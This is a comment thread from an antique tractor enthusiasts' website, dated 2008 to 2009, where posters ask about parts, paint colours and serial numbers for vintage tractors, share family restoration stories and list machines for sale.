Faan de Wit wrote on Saturday, January 03, 2009 (PST):Where can I get parts for a Case 500 Diesel and what is the Case logo color on that Case 500 Diesel.
Faan de Wit wrote on Saturday, January 03, 2009 (PST):Where can I get parts for a Case 500 Diesel and what is the Case logo color on that Case 500 Diesel.
Tommy Bruner wrote on Friday, January 02, 2009 (PST):Hello, I m looking for a picture of an original complete three point hitch for the John Deere model A tractor, do you have oany or know where to find them All I have been able to find is aftermarket ones. Thanks, Tommy
Harry wrote on Thursday, January 01, 2009 (PST):I have a Model B that once was my fathers. I is in bad shape thou. I will have to completely restore the tractor. Have driven this tractor and plowed with it. Love the old tractor.
Jim Stack wrote on Wednesday, December 31, 2008 (PST):My Dad and I have owned a G1050 diesel since 1976, we just overhauled the engine and clutch this past year. It is an excellent running tractor with serious torque. I have grown attached to it and could never sell it.
roy w sauder wrote on Wednesday, December 31, 2008 (PST):if any of you have a 0c6 oliver crawler with 68 inch track width or know of one i would realy like to hear from you as i am enterested in restoreing one. Roy
j.w.freck wrote on Tuesday, December 30, 2008 (PST):to melissa ryks..... try eagle lakes tractor parts in eagle lake texas,for ur 45 wheel weights
Hancel Porterfield wrote on Sunday, December 28, 2008 (PST):I want to buy an AC-G with at least a cultivator. If anyone has one for sale please contact me by this address or 540 885-0474 or 109 Estate Lane, Staunton, VA 24401
Roger Gehring wrote on Friday, December 26, 2008 (PST):I think I have one of these. It is a deasel motor. Where do I find the serial # and the model # on the tractor. I want to restore it. Right now it only needs an ignition which I can t seem to find.
roger wrote on Thursday, December 25, 2008 (PST):hi did you know they put on the 1950 fuel tanks in the fenders
Vernon Vest wrote on Thursday, December 25, 2008 (PST):My father purchased a leader tractor in 1948 and i would be happy to take a leader of off anyone hand.
Walt Brilhart wrote on Tuesday, December 23, 2008 (PST):I have a set of cultivators for a MH Pony that are in very good condition. We no longer use the tractor for planting. Make me an offer. 410-848-4764
Luis Sijas wrote on Tuesday, December 23, 2008 (PST):quiero informacion sobre el ford super dexta, ya que compre uno, necesito el manual del operador
jackie napier wrote on Monday, December 22, 2008 (PST):I own a leader tractor it was runing but it been sitting for a long time I live in yatesville Ga,want to sell it
charles mcfarland 4o6-669-3113 wrote on Sunday, December 21, 2008 (PST):I have a 99 6 cylinder desiel tractor I need a engine or will sell. Tin in very good shape give me a call
Monica Dirac wrote on Friday, December 19, 2008 (PST):Last month I purchased a 1920 Titan 10-20 at the auction at the Steam Museum in Vista CA. It starts and runs nicely, has a leak in the cooling system, needs new paint on the radiator, which is also developing a leak. It has a tall exhaust pipe unlike the 1918 model in the picture.
Ellsworth Chase wrote on Friday, December 19, 2008 (PST):I have a 1952 Cub that I am restoring. When I purchased it the previous owner installed an after market new battery box. As part of my restoring I purchased a package deal on a new battery box, tool box, seat, etc. Therefore the new battery box that came with Cub is spare and I am willing to part with it. Let me know if you have interest I can be contacted at email; echase at chaselinkslcom, or phone; 860-922-4400.
Dan Thurston wrote on Thursday, December 18, 2008 (PST):Paul; This may be old info,however,here s my two cents worth. I have the same problem with my 9n. I attached a chain from one side lift arm to the other-looping it over the large spring behind the seat. I raise and lower the implement until I get the desired depth. I use a grab hook on one end of the chain. give me a call--318-925-6666. I guess usens 9n owners have to stick together. Mine is a 49 model. Its a mixture--8n front end--9n rear end. Dan
R FRED SHOHAYDA wrote on Wednesday, December 17, 2008 (PST):i have tracks for 2n 8n 9n 650.00
Errol WOFFORD wrote on Tuesday, December 16, 2008 (PST):Found Oliver tractor that owner says is a 1954 Oliver Super 77 Disel. Serial # is 26 548 801 with specification # 18-1650. Can anyone tell me if this is a 54 Super 77 If so what is value. Tractor runs good and has been used recently. Has wide front end. Thanks for your help.
Ron Swallow wrote on Monday, December 15, 2008 (PST):I m looking for the battery box front cover and top for a 1950 Farmall Cub.
Roger Howell wrote on Monday, December 15, 2008 (PST):I am looking at a 480V EM generator powered by an Allis Chalmers engine natural gas powered If I could find out who made the flat head six, perhaps I could look into converting to carb. Mod - L - 525 On block - 7 16 7 On other side of block - 4651581 Can you help
Lon Welch wrote on Sunday, December 14, 2008 (PST):My great grandfather and his brother both had Yuba tractors early 1900s ; their farms were located in southeastern Washington State. An elderly neighbor told of watching my grandfather’s tractor work pulling a combine. When they came to a hill the tractor couldn’t pull, the front of the tractor would rare up. They then stopped and hooked a team up to help the tractor over the hill. If the tractor went over a wash some of the track roller balls would fall out. They would pick them up so they could be put back in place when servicing the tractor at the end of the day. They build shades over the tractor that ran the full length of it. This is hot country in the summers, I can’t imagine how much work or how uncomfortable it was for the operator of the tractor. I have a picture of one of the tractors hooked to a combine but it is poor quality and hard to see a lot of detail. Thanks to this site for providing a much sought after photo of the Yuba tractor.
Glenn Dreyer wrote on Sunday, December 14, 2008 (PST):I m buying a 1958 ford 541 tractor,want to restore it.Can you tell me where I can find pictures,plus parts they seem to be hard to find.Thanks Glenn NH
JEAN wrote on Thursday, December 11, 2008 (PST):LOOKING FOR BOTH LEFT and RIGHT LOUVERED SIDE PANELS FOR A OLIVER 66 EMAIL ME OR CALL AT 814 364 1977 OR 814 574 3260
David wrote on Wednesday, December 10, 2008 (PST):Does anyone have rear tires for my s-case tractor i am restoring 10-26 or 11.2-26. 701-782-6801
Melissa Ryks wrote on Wednesday, December 10, 2008 (PST):Looking for wheel weights for a WD-45 Alice...anyone know where I should be looking
Henry Hahn wrote on Monday, December 08, 2008 (PST):Mike I am the Pres.of the Leader tractor club,send me a picture of the leader for an estimate of it value.
Charley wrote on Monday, December 08, 2008 (PST):I am looking for Information on Case DI Tractors Modified by Mercer Engineering Works, for Cranes and Baggage Conveyors.
Flora Hayes wrote on Friday, December 05, 2008 (PST):I had the same problem with my 1925 McCormick Deering 10-20. There are two possibilities on how to identify the year. first, look on the left side of the engine block, stamped into it should be the serial number. provided the engine was never changed. Next look under the tractor. The main tractor housing , or tub, wich houses the trans, and undercaraige, in the middle right directly below the gear shifter, there are raised numbers in the casting. It will tell you the date of the casting, not the tractor year, but it will get you close. On mine it said 4 feb 1924, my serial number on the block showed it to be a 1925. Hope this helps.
lynette lawless wrote on Thursday, December 04, 2008 (PST):have a farmall B tractor that still runs and good rubber but sitting outside for 4 months now can not crank it to start it my husband always done that would like to sell it but not sure what to ask for it the tractor is going to waste just sitting there.
Rich Lucy wrote on Thursday, December 04, 2008 (PST):Need color number for a 961 Ford and photo to restore tractor purchased in need of TLC.
George Weikum wrote on Tuesday, December 02, 2008 (PST): I bought one 11-28-08. This tractor was dynoed in the Nebraska test in the 60 s and it was the first tractor to break the 100 H.P. level. It was 101-6 H.P. for Diesel. It looks great and I m sure it will pull well. There have been 4 sell in the Midwest this year. All were nice tractors. I can be reached at 630-878-9401. Naperville, Illinois
Donald Hamblin wrote on Saturday, November 29, 2008 (PST):PAINTING THE CO-OP E-3... I restored a 1948 E-3 back in 1995-98.. I couldnt find any paint codes for it, but instead had a professional auto painter match up some paint that i found to be most original on the tractor.. I found the best color under some grease on the air cleaner. we matched it and painted the whole thing that color orange. All of the pictures ive ever seen of E-3 s show them being all orange, with no secondary colors. Good Luck.. Its a fun adventure.. a pretty rare tractor!
Jim Greenmyer wrote on Saturday, November 29, 2008 (PST):For sale John Deere 60 3600.00 209-663-3984 Walnut Grove, California
Jim wrote on Saturday, November 29, 2008 (PST):I am still looking 430L parts tractor
LEHAMMOND wrote on Friday, November 28, 2008 (PST):THE A C G WAS MADE IN GADSDEN AL./ ABOUT 20 MILES FROM WHERE I WAS BORN AND RAISED THATS THE ONLY PLANT THAT MADE IT RAN FROM 1948 TO 1955 MADE 29976 YES I HAVE ONE AND LOVEIT LEHAMMOND TALLADEGA AL
Kenneth Goodin wrote on Friday, November 28, 2008 (PST):Just ran across this interesting forum, and saw where Jerry Geisert wanted info on power steering back in 2001. Jerry, if you re still on here, contact me at bgoodin at tds.net. I might have just what you re looking for.
jim rodenberg wrote on Friday, November 28, 2008 (PST):I own 2 lindemans. they are pretty neat little tractors
Nat Hampton wrote on Thursday, November 27, 2008 (PST):Just acquired a 1929 WALLIS 20-30 on steel wheels. Need to know what the paint scheme is.
matthew phillips wrote on Thursday, November 27, 2008 (PST):i have a G not sure of the year but it looks the same as the picture i would like to restore it. how much would a origanal motor be and where would i find one also how much are these year model tractors worth
wes p. wrote on Monday, November 24, 2008 (PST):dose anyone know what the paint color is and where can i find it thanks wes
Dennis Kittel wrote on Monday, November 24, 2008 (PST):Hi I have a 9 N and would be interested in getting a set of half tracks for it. I see that new rubber tracks are made for skid loaders. Are there any manufactors that make a set up or kit for old Fords
Al A wrote on Friday, November 21, 2008 (PST):I am in the process of restoring a Super H and wondering as to what color the axels should be painted to be orginal. They appear they were red, but I have been told they should be black.
eugene st-jean wrote on Tuesday, November 18, 2008 (PST):looking for a traction booster valve assembly for my d12 tractors serial no d12-3089-1 year 1962
Bob Turner wrote on Sunday, November 16, 2008 (PST):I bought a new Silver King tractor in 1951, still have it, I m in the process of restoring it. The tractor was not painted the silver that is shown on most of the Silver Kings I have seen, it was more of a gray color. Would anyone know what color I m talking about
Dennis Fixsen wrote on Friday, November 14, 2008 (PST):My grandpa s 1936 Model D serial# 125652 is currently sitting in a tree row on a farm south of Goodland, KS where we parked in it 1969 with still 3 of the original 4 tires on the tractor. On March 18, 1936, he traded an earlier model D serial# 32207 with steel wheels, for the 36 D with rubber tires. The sticker price for the new 36 D was 1490.00, including new wheel weights too, and they gave him 300 trade-in price for the older D. How do I know this I m sitting here now holding the original bill of sale from March 1936. Somehow, my family has perserved this document all these years. Amazing, eh I love old JD s and I love reading all the stories and comments on this website.
Jay Nelson wrote on Friday, July 25, 2008 (PDT):I am in the process of restoring a 1949 MT and just received the new decals, however, it didn t come with a placement guide, so I don t know where to place them. Could someone send us pictures of all the decal locations Thanks!
Ed Hornback wrote on Thursday, July 24, 2008 (PDT):I hobby farm in Southern Indiana and own an AC Two Twenty like in the photo. It is really a pleasure to work ground and will pull a nine shank chisel plow with good speed; maybe running a little more than 135 hp though.
troy johnson wrote on Wednesday, July 23, 2008 (PDT):i have a 350 utility with brush hog, gas rig. I nmeed a carb anyone know where i can get good used parts.........tsks troy
Bill Hipkiss wrote on Wednesday, July 23, 2008 (PDT):I am looking for a rear 26 poweradjust rim for an Oliver 550 tractor in very good condition. Please contact me if you have one and provide me a phone number for further clarification. I am in West Virginia. Thank you.
Rod Koberstein wrote on Wednesday, July 23, 2008 (PDT):I talked about my 80 in this forum in Jan. 2001. I just revisited this site and see that Kirk Flammang owns an 80 serial number 1816. My tractor came from the Cheyenne, Wyo. area his from Kimball Ne. and mine.was set up with the same options as Kirks. Dual remotes, Factory cab, power steering and no pto. The serial number of my 80 is 1814. They probably came down the assembly line with one tractor in between them. I wonder if serial #1815 is equipped the same way. Thanks Rod K.
delwood kesner wrote on Wednesday, July 23, 2008 (PDT):Ihave a1938 model b allis-chalmers for sale as is.
Bryce Smith wrote on Tuesday, July 22, 2008 (PDT):I want to put headlight and a tail light on my 1940 Farmall B. I have lights and a wireing harness, i am looking for mounting brackets. Also a second seat for the left side
Tano Lanza wrote on Tuesday, July 22, 2008 (PDT):McCormick-Deering 22-36.If anyone has any information on a tractor like this, please email it to me. I am interested for museum in Italy.Thanks
Troy.A.Kirsch wrote on Monday, July 21, 2008 (PDT):My friend recently bought a Ford 601 select-o-speed at auction. It is in excelent condition he is now the 2nd owner,it was purchaced in 1961 new on a dealers lot as a hold over from 1960 witch is the last year they made this particualer modle.I was wondering does anyone know how many of these were made or sold It seems a rare find,almost everyone to see it says they ve never seen one. Does anyone know what this tractor would be worth to a collecter
robaerta shelley grulkey wrote on Sunday, July 20, 2008 (PDT):my husband and son restored my dads 1947 farmall for me runs good as it did in 1947 lots of good time on it
Joe Bruder wrote on Sunday, July 20, 2008 (PDT):Hello, I am from Ontario, Canada and I have recently purchased an Oliver Super 77. It has a white grille and white rims also. I need a complete seat and suspension along with an intake and exhaust manifold. It does run great, so quiet. I have always wanted one so when this one came along I didn t hesitate to purchace it. I am wondering if someone could turn me in the direction of more info about Oliver tractors. Thanks you
chris grulkey wrote on Sunday, July 20, 2008 (PDT):we have old 70 oliver on are farm with front end loader on it has hydraulic pump on the pto it is good old tractor we have had sin 1950 run good we use it all the time
Allen McIntosh wrote on Wednesday, July 16, 2008 (PDT):My Grandfather purchased a 500 diesel from the Case dealer in Oakland Illinois sometime around 1956. He sold it in an auction in 1972. I would like to find this tractor since I use to ride in the fields with him in the early sixties when I was a little kid. I would be interested in purchasing to restore. His name was Ernest McIntosh from Kansas Illinois. Thank you.
MIKE wrote on Thursday, July 10, 2008 (PDT):I need to write an article about a tractor like this please write to me
Ed Sherwood wrote on Thursday, July 10, 2008 (PDT):My brother had a D15 back in the 60 s. I was helping him fill silo. He had just purchased two new AC power takeoff chopper wagons and a new AC power takeoff blower. The AC salesman was trying to sell a new blower to my brother s neighbor and brought him to see ours. I had a WD45 hooked to the wagon and the D15 was on the blower. The silo was 50 feet high. I starded the D15 and opened the WD wide open and kept it going until the wagon was empty. I figued I would either plug the blower and stall the D15. It did not happen the wagon was empty and the salesman and farmer just stood there in awe, so did I. It was a great tractor, one of the best AC ever built.
Ed Sherwood wrote on Thursday, July 10, 2008 (PDT):My neighbor had a Ford like this but an earlier model, Probably a 39 or 40. I drove it at 4 years old even before I went to school. The midship seat with the cluth and brake pedals right under my feet made that possible. The farmer had a partial bankruptcy auction and sold the tractor. I went crying to my dad and mother that George sold my tractor . This was a couple of years after I started driving it. My folks knew nothing about it. My dad went to see George to find out about my driving. George told him all about it. Afater that I started to drive an old A-C WF at home.
Edward Sherwood wrote on Thursday, July 10, 2008 (PDT):As long as I can remember my dad had a WF tractor similar to the one in the picture. I drove that old macjine when I was seven years old. It was a tough old bird to handle, but I did quite well. We had just overhauled it and were ready to put new tires on it when our garage caught on fire and distroyed it. A sad day.
Marty Immerman wrote on Wednesday, July 09, 2008 (PDT):I have a 2010 narrow front with a loader on it.When I bought it the loader hydrolics are ran through the implement hydrolics.Is there a way to hard pipe the loader to the tractor.I thought I saw a 2010 with the loader piped to the tractor.
Roger Pierce wrote on Tuesday, July 08, 2008 (PDT):Tiffany, who wrote on june 4th 08. I am interested in your tractors if you would please e-mail me or call me at 439-241-1335
Jim Alloway wrote on Monday, June 30, 2008 (PDT):My tractor that I listed in Feb, I have found out is a 1948, instead of a 53 Thanks.Jim Alloway Coolville,Ohio
jack vliet wrote on Sunday, June 29, 2008 (PDT):I have a 1939 caseR in need of engine parts for a rebuild.
Arthur Lee wrote on Sunday, June 29, 2008 (PDT):I have a 801 powermaster. It set all winter without being ran. When I started it this spring I could not get the cluch to work. It won t kick the tractor out of gear so you can shift. Is there something I can do without tearing into the clutch or transmission. Thanks
Leo Spohr wrote on Friday, June 27, 2008 (PDT):Back in Feb 2008 you said that you have two leaders. An you might just sell one, I realze you also said that they both need to be restored. I would be interested in one. Please call 585-682-3032... PLEASE if noone is there PLEASE leave a message.... Leo
Yvon wrote on Friday, June 27, 2008 (PDT):I am interested in a Ford with tracks to pull out christmas trees. Anyone interested in selling let me know.
John wrote on Thursday, June 26, 2008 (PDT):Libby, your serial number is from 1947
Tom wrote on Wednesday, June 25, 2008 (PDT):Hi, new to the tractor lifestyle here. Just got a 1957 Allis Chalmers WD45 wide-front/gas. What type and weight of oil, hydraulic fluid, transmission fluid, etc. do I use for this machine, thanx.
Deborah Plotts-Kellstrom wrote on Wednesday, June 25, 2008 (PDT):My father bought a Case tractor in the 1940 s. He still has it and is not sure of the year. By the steering wheel I found this number and wonder if it is the serial # and if anyone could tell us the year and if there are still parts available for it. The number is 5525259SC. Any info would be welcome!
Gene Tuma wrote on Wednesday, June 25, 2008 (PDT):Have a excellent running 500D, new starter, rubber, liquid and chainsfor sale in N.Minnesota. 412 401 3222
Brent wrote on Tuesday, June 24, 2008 (PDT):Ihave this case tractor, I think it s a 1949 5031A. Anybody want to buy it 406-422-5421. June 24,2008
Kim Davis wrote on Tuesday, June 24, 2008 (PDT):I have a model 40 Massey Ferguson,that was recently crushed in my corn crib during a tornado. I have been looking for body parts ever since with no success. Can anyone give me a lead on parts. Also a gas tank and radiator are needed.
David Cotton wrote on Tuesday, June 24, 2008 (PDT):Trying to locate my grandfathers 1935 B. Serial number is 5441 or 6602. Please contact me with any info on these serial numbers. Dave Cotton, Oregon, MO. 660-446-2357
Dan Wallenta wrote on Monday, June 23, 2008 (PDT):This is fun reading the articles on the MH44. I also grew up with a 44D and later my Dad bought a 44 gas with a loader on it. Now both tractors have been in a shed and not used for over 20 years I believe the 44D is a 1949 and has a wide front on it and also have the narrow front somewhere. The 44 gas I believe is a 1954 but I will get the serial numbers this weekend when I am at the farm. Both are original and have not been rebuilt. Any idea what these might be worth Or where I could get info. on this.
don hugo wrote on Monday, June 16, 2008 (PDT):just picked up a 46 G in a trade. needs a little tlc but everything is there, runs quite well but needs some carb adj. love the sound of it, i grew up on a farm in northeast nebraska. we had a 36 B and a 46 A. our neighbor had a 51 G. i just loved the sound of that tractor plowing and have always wanted one. like Green Mister, took me also about 50 years to get one. hope to have it looking like the one in the picture in about a year.
Jim Tatum wrote on Sunday, June 15, 2008 (PDT):Lee, We ve brought the tractor home. it s in amazing condition - never left out in the weather in 60 years. We ve replaced the wires, battery, and other stuff and have driven it around. Do you belong to a club What is the general feeling about a leader compared to other, better known tractors I d be interested in anything you can tell me.
John Tidwell wrote on Sunday, June 15, 2008 (PDT):I have a 1949 M with plows. I need a picture that shows the proper method of holding the under belly mechanism for stabilizing the plow. Any Pictures or illustrations of how the equipment were attached to the M will be most appreciated. Also I know some models had a front head lamp and fixture an illustration of this configuration is most needed. John
Roy Harwood wrote on Sunday, June 15, 2008 (PDT):Hello I am interested in making contact with any person or persons who may be able to assist me in determining the market value of a Samson Sievegrip tractor that my clients have recently taken ownership of. Any help would be appreciated, drop me a line if youlike. Thanks Roy H.
ted freilach wrote on Thursday, June 12, 2008 (PDT):i have a golden demo 971 sos wf ps good running order how much is it worth thanks ted
shayne anderson wrote on Tuesday, June 10, 2008 (PDT):we have a TO-30 fergusen that has stayed in the family and has many hours on it. it still gets used today and i also tractor pull with it i am also looking for some fenders for it let me now if anybody has any
Christine Evison wrote on Tuesday, June 10, 2008 (PDT):I just bought my first tractor...1948 Ferguson TO 20 serial #1336. It had been owned by the same person for 21 years and is still running great. Cosmetics could use some help but it works!
tom stults wrote on Tuesday, June 10, 2008 (PDT):would like to buy a oliver 80 row crop. Gas on rubber. Please advise.
daniel m hooverson wrote on Sunday, June 08, 2008 (PDT):I have a 720 gas. Wide front with 3pt. Anybody know if the gas tractors came with the air cleaner stack like the diesel above Where could I get one E-mail at slickeroo at mwt.net
brian koeman wrote on Sunday, June 08, 2008 (PDT):I have 4 ZB s 1 ZA and 1UB special diesel , these are great tractors always well be !! i feel sorry for , Chris, MM are great !!stay home chris,or drive and JD !!
Joan Babe wrote on Friday, June 06, 2008 (PDT):My dad his brother restored their dad s 1917 Titan 10-20 quite a few years ago. The tractor that they used for parts is now available for someone else to use/restore. It is missing a drive wheel and back axle. If anyone is interested in pictures, my family can email them. I am also hoping to have a basic inventory of the parts available.
Dan Nicol wrote on Friday, June 06, 2008 (PDT):I bought a tractor that was stated as being an 860. However, I can t confirm this because the serial number is gone. I have some questions about what it is and how to tell. Also, I need to know where to find parts for it. I was told it has a bad clutch, but reading your guys comments, I m a little scared about the select-o-speed now. Also, it s a 4-cylinder diesel.
Glenn E. Cox wrote on Thursday, June 05, 2008 (PDT):I have owned one of these tractors since 1977 and use it nearly every day. It is very dependable and have had little have to fix maintence sence ownership.
Steve Schimmel wrote on Wednesday, June 04, 2008 (PDT):Hello, I have a 1962 2010 industrial backhoe, The engine needs a rebuild, I broke the sleeves. Gas 4 cylinder. I m looking for parts or an engine. Has a 700 loader on front would sell pretty reasonable. 406-422 0895 Helena Montana
lee thomas wrote on Wednesday, June 04, 2008 (PDT):the 1948 leaders had a front axle that sloped from the center down to each wheel the 1949 had a straight front axel if you look behind the generator the dat is cast in the block i have a 47,5 48, 1 49
Tiffany wrote on Wednesday, June 04, 2008 (PDT):I have an older model Allis chamlers tractor that was my granddas and it needs work done to it.Where would be a good place to sell this antique tractor Any collectors I believe its a WD45 late 50 s early 60 s.Thank you
herb wrote on Wednesday, June 04, 2008 (PDT):I have a Farmall A with no serial number. There is nothing on the seat brackets, or anywhere else. I would like to know how the year can be determined. It looks like the tracktor had been refurbished.
jesse darrow wrote on Tuesday, June 03, 2008 (PDT):Hi i have a 1954 mh 44 i am looking for a rim that is 12/38 slip on. I am the second owne of this tractor former owner got in early 55 any help would be helpfull
Bob Eisele wrote on Tuesday, June 03, 2008 (PDT):I am looking for a Allis-G with hydraulics, in good running condition, to restore and take to antique tractor shows and parades. Please Email if you know of any for sale in lower Mi. Ann Arbor area,northern Ohio, or northern Indiana. Thanks Bob
phil whitworth wrote on Monday, June 02, 2008 (PDT):Ihave a cub loboy 154 thats runs fine has a little blow by,but when I engauge the mower it doesnt have enough power to run and mow at the same time.just wondered if its time for a overhaul or what else it could be timing,points,or what.need help thank you.phone #903-2885885 phil
Roland P. Nelson wrote on Monday, June 02, 2008 (PDT):I ve retreaded instead of retired. I m busy with salvaging metal from places in my area. Come across an International 560 wide front , siting unused for some time. Will be contacting the owner very soon for history etc. What s it worth for scrap parts etc. Tractor is a diesel, pto, and hydrulics. What years was this unit made. Anyone interested Will take photos etc., and gladly provide more details to you. Tractor is located on Vancouver Island, B.C. Canada. Phone 250-951-0863 - have answering machine. June 2, 2008. Rolly
sean gay wrote on Sunday, June 01, 2008 (PDT):i have a 1955 utltity ford 800 172 ci gas with 3 point lift and live pto.i love my ford she looks a little ruff now , but not for long going to clean her up and paint soon. i cut 10 acrs with a 6 finish talor way mower,farm about i acre garden pulling 5 harrow,sod buster,planters,and plow does a very good job.also drag a 5 boxblade in driveway with no prob. fixing to get a 3-blade botton plow but don t want to over work my tractor.down here in georgia that red clay can be hell, anyone ever pull one with theres if so pls e-mail and let me know how it went, that would be very cool . i love my ford and don t want to hurt her ........ha ha thanks
sean gay wrote on Sunday, June 01, 2008 (PDT):i have a 1955 utltity ford 800 172 ci gas with 3 point lift and live pto.i love my ford she looks a little ruff now , but not for long going to clean her up and paint soon. i cut 10 acrs with a 6 finish talor way mower,farm about i acre garden pulling 5 harrow,sod buster,planters,and plow does a very good job.also drag a 5 boxblade in driveway with no prob. fixing to get a 3-blade botton plow but don t want to over work my tractor.down here in georgia that red clay can be hell, anyone ever pull one with theres if so pls e-mail and let me know how it went, that would be very cool . i love my ford and don t want to hurt her ........ha ha thanks
dudley tree wrote on Sunday, June 01, 2008 (PDT):i recently bought a wd 45 was wondering if it came with power stering if so
abrewer wrote on Sunday, June 01, 2008 (PDT): ineed some help to identify a tractor i bought and am having a hard time finding the model and year so i can find parts/ it is a international harvester has a c135 engine and have had no luck at the dealership i believe it is in the 1970s i am going to take a picture if i post it could someone please help me
Rizwan-ur-Rasheed Khan wrote on Sunday, June 01, 2008 (PDT):I am from India. My father purchased two Tractors Model A amd M some time in 1947. Both worked upto 1976 at my orchards upto my full satisfaction. Due to non availabilty of spare parts,tractors were disposed off as scrap material some time in 1990. Few implements of 1947 including one Mold Bold Plough, spelling may be incorrect are still with me. Those implements if have any value as an antique, the same can be collected.
danacad wrote on Friday, May 30, 2008 (PDT):bonsoir je possède un Pony 820 Diesel de 1959 fabriqué en France il est superbe salut a tous le monde et vive Massey Harris
sharon wrote on Thursday, May 29, 2008 (PDT):We are trying to restore a 1935 Twin City J , does anyone know where we can find some front steel for it, also where does one buy decals for this tractor. Thank you for any and all help.
Mark keller wrote on Thursday, May 29, 2008 (PDT):I have a 1949 Farmall Cub with a belly mower. I still mow 15 acres with her every other week
dennis krumvieda wrote on Thursday, May 29, 2008 (PDT):was wondering if anyone has a set of rear hubs cut down fro a r i want to lighten it up for tractor pulls and make it easier to haul,my phone number is 605 691 9252
Kent wrote on Wednesday, May 28, 2008 (PDT):I have a good clean 160 needs some work head gasket set and fuel injector rebuild 2nd owner/good rubber and metal I would like to know its value as is/or repaired I did not know it was a collectable tractor.
Jon Arms wrote on Tuesday, May 27, 2008 (PDT):I have a Case VAIW- Sn#VAIW 4935238. This is a VAI conversion to a warehouse or airport tug hence the W in the sn Sold by Perkins-Eaton Machinery Co. in Boston.I have manuals for VAI tractors, but does anyone have any info on this VAIW It starts and runs great. It has 16 rear wheels and 6.9X9 front wheels. The rear fenders are cast iron and must weigh about 600 lbs each. There must be a manual for this unit somewhere. Can anyone help me out
Jim Tatum wrote on Monday, May 26, 2008 (PDT):Yesterday my friend picked up a Leader tractor on my behalf. I haven t seen it yet, but he says the number on the motor is; IXB - 5-3-1-4X4 1299455 008 006 It s made in Chagrin Falls, Ohio I haven t seen it yet. My friend couldn t find the year and serial number. I ve asked him to look tomorrow at the dash, as you instructed. Hopefully we ll know tomorrow. In the meantime, does this engine number mean anything to you What years was it used I d appreciate any help you can give on identifying this tractor. I ll see it this weekend. it s reported to be in great shape...thanks for your help, Henry. You seem to be the one that answers so many questions...Jim Tatum
Elaine Davis wrote on Monday, May 26, 2008 (PDT):I grew up in Cohocton NY. My dad purchased a 1952 Shepherd Diesel tractor. It was huge and bright orange and we thought it was wonderful. He bought it new from a tractor place in Batavia NY. Years later, my dad died and my older brother took over farming. The tractor quit working and was abandoned in the farm junk yard. Someone came along and wanted to buy it and my brother sold it for junk. Now 2008 another brother is very interested in old tractors. He has made it a goal to locate our dad s old tractor. He has the serial number and is offering a reward to anyone who can help him find out where this tractor ended up. He would love to get it back. Can anyone help ,,
Bill Bush wrote on Monday, May 26, 2008 (PDT):I purchased a 70 industrial at an auction in St. Mary,MO. on Nov.3rd 2007. The one thing that really sets it apart is the engine which is a Continental 6 cylinder flathead of 209 c.i.displacement. Anyone out there know any history behind these engines being put in Olivers I ve had a hard time finding out much, partly maybe mostly, because of the loss of a lot of records in the May 1966 tornado that hit Charles City, Iowa. Any info would be greatly appreciated.
Carl Robinson wrote on Monday, May 26, 2008 (PDT):Am in need of a front grill assembly that the left and right yellow grill covers attach to on a super 55 diesel. Would appreciate any help. thanks. ph 701-258-6321
roger pierce wrote on Wednesday, May 21, 2008 (PDT):i recently bought a jd D at an auction got it home and found out the block near the spark plug hole is cracked can this be fixed and if so how do i go about it thanks
Dave wrote on Wednesday, May 21, 2008 (PDT):I have a complete OC-3 that I m selling. It has a Herculese IXB-3 engine and a Ware loader with a bucket and a blade. It s had the entire engine rebuilt. Ran last year hasn t been started yet this year. Tracks and lower end in good shape. Recently replaced brake bands. Hydraulics work well. Will part out if I can get enough requests or will sell as complete machine.
cody bodiford wrote on Tuesday, May 20, 2008 (PDT):i have a 1950 oliver with a 4 valve 453 gm diesel i use it all for tractor pulling so far i have beat everyone i ve pulled against i like to here the thing scream and see all that black smoke role out let me tell you them things are awsome on pulling PLUS I HAVE A OLIVER 66 FOR SALE 800 RUNS GOOD JUST NEEDS SHEET METAL HAS GRILL NEW CARB ELCTRONIC IGNITION IF INTERESTED PLEASE EMAIL ME OR CALL 254-746-7920
Charles Craig wrote on Monday, May 19, 2008 (PDT):We had an F20 when I was a child born in 1938 . It was on steel and I remember the big polished steel lugs. The we cut off the lugs and welded on rims and put on rubber tires. Made for a much more modern looking tractor, but with less character. Then we traded for an M . We were really uptown then!
pamela wrote on Monday, May 19, 2008 (PDT):hello, we have a friend that has a tractor like this he ne to know how to rebuild power lift system. i you could give us anyinfo on this, that would be great. thank you pamela
Ben Walker wrote on Monday, May 19, 2008 (PDT):I am looking for someone to display a MH GP at the Root River Antique Engine and Tractor Show near Spring Valley MN July 18, 19, 20. We are featuring AC tractors and Vintage 4WD tractors . A GP would be a huge attraction and we would love to see one here!
richard wilson wrote on Sunday, May 18, 2008 (PDT):I have a photograph of a tractor I believe to be a Wallis made around 1920 possibly. It dark blue with red steel wheels and is a 4 wheel drive. I d like to know what it is, the model and manufacture date.
Jim Farber wrote on Saturday, May 17, 2008 (PDT):Re frame trails above.Need rt or lft or both I have many parts available for 8-16 plus 3 tractors 1919VB,1919HC,1920HC all needing restoration
Bob Gauck independence ky. wrote on Friday, May 16, 2008 (PDT):On my 800 just bought sr# is located on left side from rear just in front of steering control punched in trans housing it can be translated by buying a manual FO-20 Ford Manual Published by I T shop manual PO Box12901, Overland Park KS. 66282-2901 for about 39.00 I purchased mine at Tractor Supply Stores here in northern ky Hope this help someone who needs help my 800 is a 6.00volt Pos grnd system good luck.
dennis hight wrote on Tuesday, May 13, 2008 (PDT):i just bought a oc6-68-G I need to find what it weighs it is bare no blade or implments.ineed to tow it home. any info will help thanks Dennis Hight
Becca Upchurch wrote on Tuesday, May 13, 2008 (PDT):My brothers and I own a 60 s model D17. Do you have to install an auxillary pump on it in order for the loader to perform well Or will it be ridiculously slow Any input would be greatly appreciated!
Leroy Hamann wrote on Monday, May 12, 2008 (PDT):I own a 560 gas that has a bad knock on the top of the engine, my dad has a 560 diesel and needs a crankshaft and main cap anyone have any info or parts also need a TA. both of these tractors have been used hard for a lot of years and usually just keep on going but eventually you got to fix even the best.
Denny Falk wrote on Monday, May 12, 2008 (PDT):I have a Lindenman BO with electric start I have little information on how many were made. Any information on this tractor would be appreciated.
Donald Harder wrote on Monday, May 12, 2008 (PDT):I just found a 1950 W4 in the woods and now have it in my garage. Engine appears to be seized, left rear wheel won t turn and needs a good soda blasting. I now have it half pulled apart and look forward to restoring it. One thing I did find out. These Tractors are not worth much, even when restored. Nonetheless, I look forwaed to my new toy.
